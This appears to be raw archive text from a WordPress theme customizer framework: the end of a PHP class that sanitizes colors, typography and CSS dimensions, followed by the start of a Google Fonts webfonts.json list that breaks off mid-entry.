		if ( 1 === $value || '1' === $value || true === $value || 'true' === $value || 'on' === $value || 0 === $value || '0' === $value || false === $value || 'false' === $value || 'off' === $value ) {
			return $value;
		}

		return false;
	}

	/**
	 * Sanitize color
	 *
	 * @param string  $value Color value.
	 * @param boolean $hash flag if hash enabled.
	 *
	 * @return null|string
	 */
	public function sanitize_solid_color( $value, $hash = true ) {
		if ( $hash ) {
			return sanitize_hex_color( $value );
		} else {
			return sanitize_hex_color_no_hash( $value );
		}
	}

	/**
	 * Sanitizes typography controls
	 *
	 * @since 2.2.0
	 *
	 * @param array $value The value.
	 *
	 * @return array
	 */
	public static function sanitize_typography( $value ) {
		if ( ! is_array( $value ) ) {
			return array();
		}

		// Escape the font-family.
		if ( isset( $value['font-family'] ) ) {
			$value['font-family'] = esc_attr( $value['font-family'] );
		}

		// Make sure the saved value is "subsets" (plural) and not "subset".
		// This is for compatibility with older versions.
		if ( isset( $value['subset'] ) ) {
			if ( ! empty( $value['subset'] ) ) {
				if ( ! isset( $value['subsets'] ) || empty( $value['subset'] ) ) {
					$value['subsets'] = $value['subset'];
				}
			}
			unset( $value['subset'] );
		}

		// Sanitize the font-size.
		if ( isset( $value['font-size'] ) && ! empty( $value['font-size'] ) ) {
			$value['font-size'] = self::css_dimension( $value['font-size'] );
			if ( is_numeric( $value['font-size'] ) ) {
				$value['font-size'] .= 'px';
			}
		}

		// Sanitize the line-height.
		if ( isset( $value['line-height'] ) && ! empty( $value['line-height'] ) ) {
			$value['line-height'] = self::css_dimension( $value['line-height'] );
		}

		// Sanitize the letter-spacing.
		if ( isset( $value['letter-spacing'] ) && ! empty( $value['letter-spacing'] ) ) {
			$value['letter-spacing'] = self::css_dimension( $value['letter-spacing'] );
			if ( is_numeric( $value['letter-spacing'] ) ) {
				$value['letter-spacing'] .= 'px';
			}
		}

		// Sanitize the text-align.
		if ( isset( $value['text-align'] ) && ! empty( $value['text-align'] ) ) {
			if ( ! in_array( $value['text-align'], array( 'inherit', 'left', 'center', 'right', 'justify' ), true ) ) {
				$value['text-align'] = 'inherit';
			}
		}

		// Sanitize the text-transform.
		if ( isset( $value['text-transform'] ) && ! empty( $value['text-transform'] ) ) {
			if ( ! in_array( $value['text-transform'], array(
				'none',
				'capitalize',
				'uppercase',
				'lowercase',
				'initial',
				'inherit',
			), true ) ) {
				$value['text-transform'] = 'none';
			}
		}

		// Sanitize the color.
		if ( isset( $value['color'] ) && ! empty( $value['color'] ) ) {
			$color          = Ari_Color::newColor( $value['color'] );
			$value['color'] = $color->toCSS( 'hex' );
		}

		return $value;
	}

	/**
	 * Sanitizes css dimensions.
	 *
	 * @static
	 * @access public
	 * @since 2.2.0
	 *
	 * @param string $value The value to be sanitized.
	 *
	 * @return string
	 */
	public static function css_dimension( $value ) {

		// Trim it.
		$value = trim( $value );

		// If the value is round, then return 50%.
		if ( 'round' === $value ) {
			$value = '50%';
		}

		// If the value is empty, return empty.
		if ( '' === $value ) {
			return '';
		}

		// If auto, return auto.
		if ( 'auto' === $value ) {
			return 'auto';
		}

		// Return empty if there are no numbers in the value.
		if ( ! preg_match( '#[0-9]#', $value ) ) {
			return '';
		}

		// If we're using calc() then return the value.
		if ( false !== strpos( $value, 'calc(' ) ) {
			return $value;
		}

		// The raw value without the units.
		$raw_value = self::sanitize_number( $value );
		$unit_used = '';

		// An array of all valid CSS units. Their order was carefully chosen for this evaluation, don't mix it up!!!
		$units = array( 'rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'ch', 'vh', 'vw', 'vmin', 'vmax' );
		foreach ( $units as $unit ) {
			if ( false !== strpos( $value, $unit ) ) {
				$unit_used = $unit;
			}
		}

		// Hack for rem values.
		if ( 'em' === $unit_used && false !== strpos( $value, 'rem' ) ) {
			$unit_used = 'rem';
		}

		return $raw_value . $unit_used;
	}

	/**
	 * By pass
	 *
	 * @param mixed $value pass value.
	 *
	 * @return mixed
	 */
	public function by_pass( $value ) {
		return $value;
	}

}
PK     0w\Y  '  customizer/framework/data/webfonts.jsonnu [        {"kind":"webfonts#webfontList","items":[{"family":"ABeeZee","variants":["regular","italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abeezee/v14/esDR31xSG-6AGleN6tKukbcHCpE.ttf","italic":"http://fonts.gstatic.com/s/abeezee/v14/esDT31xSG-6AGleN2tCklZUCGpG-GQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Abel","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/abel/v12/MwQ5bhbm2POE6VhLPJp6qGI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Abhaya Libre","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext","sinhala"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abhayalibre/v6/e3tmeuGtX-Co5MNzeAOqinEge0PWovdU4w.ttf","500":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYj2ryqtxI6oYtBA.ttf","600":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYo23yqtxI6oYtBA.ttf","700":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEYx2zyqtxI6oYtBA.ttf","800":"http://fonts.gstatic.com/s/abhayalibre/v6/e3t5euGtX-Co5MNzeAOqinEY22_yqtxI6oYtBA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Abril Fatface","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/abrilfatface/v12/zOL64pLDlL1D99S8g8PtiKchm-BsjOLhZBY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aclonica","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/aclonica/v11/K2FyfZJVlfNNSEBXGb7TCI6oBjLz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Acme","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/acme/v11/RrQfboBx-C5_bx3Lb23lzLk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Actor","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/actor/v10/wEOzEBbCkc5cO3ekXygtUMIO.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Adamina","variants":["regular"],"subsets":["latin"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/adamina/v14/j8_r6-DH1bjoc-dwu-reETl4Bno.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Advent Pro","variants":["100","200","300","regular","500","600","700"],"subsets":["greek","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/adventpro/v11/V8mCoQfxVT4Dvddr_yOwjVmtLZxcBtItFw.ttf","200":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjfWMDbZyCts0DqQ.ttf","300":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjZGPDbZyCts0DqQ.ttf","regular":"http://fonts.gstatic.com/s/adventpro/v11/V8mAoQfxVT4Dvddr_yOwtT2nKb5ZFtI.ttf","500":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjcmODbZyCts0DqQ.ttf","600":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjeWJDbZyCts0DqQ.ttf","700":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjYGIDbZyCts0DqQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aguafina Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aguafinascript/v9/If2QXTv_ZzSxGIO30LemWEOmt1bHqs4pgicOrg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Akronim","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/akronim/v10/fdN-9sqWtWZZlHRp-gBxkFYN-a8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aladin","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aladin/v9/ZgNSjPJFPrvJV5f16Sf4pGT2Ng.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Alata","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alata/v2/PbytFmztEwbIofe6xKcRQEOX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alatsi","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alatsi/v2/TK3iWkUJAxQ2nLNGHjUHte5fKg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aldrich","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/aldrich/v11/MCoTzAn-1s3IGyJMZaAS3pP5H_E.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alef","variants":["regular","700"],"subsets":["hebrew","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alef/v12/FeVfS0NQpLYgrjJbC5FxxbU.ttf","700":"http://fonts.gstatic.com/s/alef/v12/FeVQS0NQpLYglo50L5la2bxii28.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alegreya","variants":["regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/alegreya/v16/4UaBrEBBsBhlBjvfkRLmzanB44N1.ttf","italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaHrEBBsBhlBjvfkSLkx63j5pN1MwI.ttf","500":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSoS5I3JyJ98KhtH.ttf","500italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_1nKwpteLwtHJlc.ttf","700":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpa4o3JyJ98KhtH.ttf","700italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_xHMwpteLwtHJlc.ttf","800":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpG4Y3JyJ98KhtH.ttf","800italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_w3PwpteLwtHJlc.ttf","900":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpi4I3JyJ98KhtH.ttf","900italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_ynOwpteLwtHJlc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alegreya SC","variants":["regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/alegreyasc/v14/taiOGmRtCJ62-O0HhNEa-a6o05E5abe_.ttf","italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiMGmRtCJ62-O0HhNEa-Z6q2ZUbbKe_DGs.ttf","500":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZZc-rUxQqu2FXKD.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4WEySK-UEGKDBz4.ttf","700":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYU_LUxQqu2FXKD.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4Sk0SK-UEGKDBz4.ttf","800":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYI_7UxQqu2FXKD.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4TU3SK-UEGKDBz4.ttf","900":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYs_rUxQqu2FXKD.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4RE2SK-UEGKDBz4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alegreya Sans","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUt9_-1phKLFgshYDvh6Vwt5TltuGdShm5bsg.ttf","100italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUv9_-1phKLFgshYDvh6Vwt7V9V3G1WpGtLsgu7.ttf","300":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5fFPmE18imdCqxI.ttf","300italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VFE92jkVHuxKiBA.ttf","regular":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUz9_-1phKLFgshYDvh6Vwt3V1nvEVXlm4.ttf","italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUt9_-1phKLFgshYDvh6Vwt7V9tuGdShm5bsg.ttf","500":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5alOmE18imdCqxI.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VTE52jkVHuxKiBA.ttf","700":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5eFImE18imdCqxI.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VBEh2jkVHuxKiBA.ttf","800":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5f1LmE18imdCqxI.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VGEt2jkVHuxKiBA.ttf","900":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5dlKmE18imdCqxI.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VPEp2jkVHuxKiBA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alegreya Sans SC","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Dipl8g5FPYtmMg.ttf","100italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGl4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdlgRBH452Mvds.ttf","300":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DuJH0iRrMYJ_K-4.ttf","300italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdXiZhNaB6O-51OA.ttf","regular":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGh4-RGJqfMvt7P8FUr0Q1j-Hf1Nk5v9ixALYs.ttf","italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Bkxl8g5FPYtmMg.ttf","500":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DrpG0iRrMYJ_K-4.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdBidhNaB6O-51OA.ttf","700":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DvJA0iRrMYJ_K-4.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdTiFhNaB6O-51OA.ttf","800":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1Du5D0iRrMYJ_K-4.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdUiJhNaB6O-51OA.ttf","900":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DspC0iRrMYJ_K-4.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxddiNhNaB6O-51OA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aleo","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/aleo/v4/c4mg1nF8G8_syKbr9DVDno985KM.ttf","300italic":"http://fonts.gstatic.com/s/aleo/v4/c4mi1nF8G8_swAjxeDdJmq159KOnWA.ttf","regular":"http://fonts.gstatic.com/s/aleo/v4/c4mv1nF8G8_s8ArD0D1ogoY.ttf","italic":"http://fonts.gstatic.com/s/aleo/v4/c4mh1nF8G8_swAjJ1B9tkoZl_Q.ttf","700":"http://fonts.gstatic.com/s/aleo/v4/c4mg1nF8G8_syLbs9DVDno985KM.ttf","700italic":"http://fonts.gstatic.com/s/aleo/v4/c4mi1nF8G8_swAjxaDBJmq159KOnWA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alex Brush","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alexbrush/v12/SZc83FzrJKuqFbwMKk6EtUL57DtOmCc.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Alfa Slab One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alfaslabone/v10/6NUQ8FmMKwSEKjnm5-4v-4Jh6dVretWvYmE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Alice","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alice/v12/OpNCnoEEmtHa6FcJpA_chzJ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alike","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alike/v13/HI_EiYEYI6BIoEjBSZXAQ4-d.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alike Angular","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alikeangular/v11/3qTrojWunjGQtEBlIcwMbSoI3kM6bB7FKjE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Allan","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allan/v13/ea8XadU7WuTxEtb2P9SF8nZE.ttf","700":"http://fonts.gstatic.com/s/allan/v13/ea8aadU7WuTxEu5KEPCN2WpNgEKU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Allerta","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allerta/v11/TwMO-IAHRlkbx940UnEdSQqO5uY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Allerta Stencil","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allertastencil/v11/HTx0L209KT-LmIE9N7OR6eiycOeF-zz313DuvQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Allura","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allura/v9/9oRPNYsQpS4zjuAPjAIXPtrrGA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Almarai","variants":["300","regular","700","800"],"subsets":["arabic"],"version":"v4","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS_anhnicoq72sXg.ttf","regular":"http://fonts.gstatic.com/s/almarai/v4/tsstApxBaigK_hnnc1qPonC3vqc.ttf","700":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS-aghnicoq72sXg.ttf","800":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS_qjhnicoq72sXg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Almendra","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendra/v13/H4ckBXKAlMnTn0CskyY6wr-wg763.ttf","italic":"http://fonts.gstatic.com/s/almendra/v13/H4ciBXKAlMnTn0CskxY4yLuShq63czE.ttf","700":"http://fonts.gstatic.com/s/almendra/v13/H4cjBXKAlMnTn0Cskx6G7Zu4qKK-aihq.ttf","700italic":"http://fonts.gstatic.com/s/almendra/v13/H4chBXKAlMnTn0CskxY48Ae9oqacbzhqDtg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Almendra Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendradisplay/v11/0FlPVOGWl1Sb4O3tETtADHRRlZhzXS_eTyer338.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Almendra SC","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendrasc/v11/Iure6Yx284eebowr7hbyTZZJprVA4XQ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amarante","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amarante/v8/xMQXuF1KTa6EvGx9bq-3C3rAmD-b.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Amaranth","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/amaranth/v11/KtkuALODe433f0j1zPnCF9GqwnzW.ttf","italic":"http://fonts.gstatic.com/s/amaranth/v11/KtkoALODe433f0j1zMnAHdWIx2zWD4I.ttf","700":"http://fonts.gstatic.com/s/amaranth/v11/KtkpALODe433f0j1zMF-OPWi6WDfFpuc.ttf","700italic":"http://fonts.gstatic.com/s/amaranth/v11/KtkrALODe433f0j1zMnAJWmn42T9E4ucRY8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Amatic SC","variants":["regular","700"],"subsets":["cyrillic","hebrew","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amaticsc/v15/TUZyzwprpvBS1izr_vO0De6ecZQf1A.ttf","700":"http://fonts.gstatic.com/s/amaticsc/v15/TUZ3zwprpvBS1izr_vOMscG6eb8D3WTy-A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Amethysta","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amethysta/v9/rP2Fp2K15kgb_F3ibfWIGDWCBl0O8Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amiko","variants":["regular","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amiko/v5/WwkQxPq1DFK04tqlc17MMZgJ.ttf","600":"http://fonts.gstatic.com/s/amiko/v5/WwkdxPq1DFK04uJ9XXrEGoQAUco5.ttf","700":"http://fonts.gstatic.com/s/amiko/v5/WwkdxPq1DFK04uIZXHrEGoQAUco5.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Amiri","variants":["regular","italic","700","700italic"],"subsets":["arabic","latin","latin-ext"],"version":"v16","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amiri/v16/J7aRnpd8CGxBHqUpvrIw74NL.ttf","italic":"http://fonts.gstatic.com/s/amiri/v16/J7afnpd8CGxBHpUrtLYS6pNLAjk.ttf","700":"http://fonts.gstatic.com/s/amiri/v16/J7acnpd8CGxBHp2VkZY4xJ9CGyAa.ttf","700italic":"http://fonts.gstatic.com/s/amiri/v16/J7aanpd8CGxBHpUrjAo9zptgHjAavCA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amita","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amita/v7/HhyaU5si9Om7PQlvAfSKEZZL.ttf","700":"http://fonts.gstatic.com/s/amita/v7/HhyXU5si9Om7PTHTLtCCOopCTKkI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Anaheim","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/anaheim/v8/8vII7w042Wp87g4G0UTUEE5eK_w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Andada","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/andada/v12/uK_y4riWaego3w9RCh0TMv6EXw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Andika","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/andika/v12/mem_Ya6iyW-LwqgAbbwRWrwGVA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Andika New Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiRGn9tCp-44eleq5Q-mszJivxSSK-UEGKDBz4.ttf","italic":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiXGn9tCp-44eleq5Q-mszJivxSeK2eFECGFz5VCg.ttf","700":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiWGn9tCp-44eleq5Q-mszJivxScBO7NGqoGzdME84.ttf","700italic":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiUGn9tCp-44eleq5Q-mszJivxSeK2mqG-iHxVJA85Okw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Angkor","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/angkor/v13/H4cmBXyAlsPdnlb-8iw-4Lqggw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Annie Use Your Telescope","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/annieuseyourtelescope/v11/daaLSS4tI2qYYl3Jq9s_Hu74xwktnlKxH6osGVGjlDfB3UUVZA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Anonymous 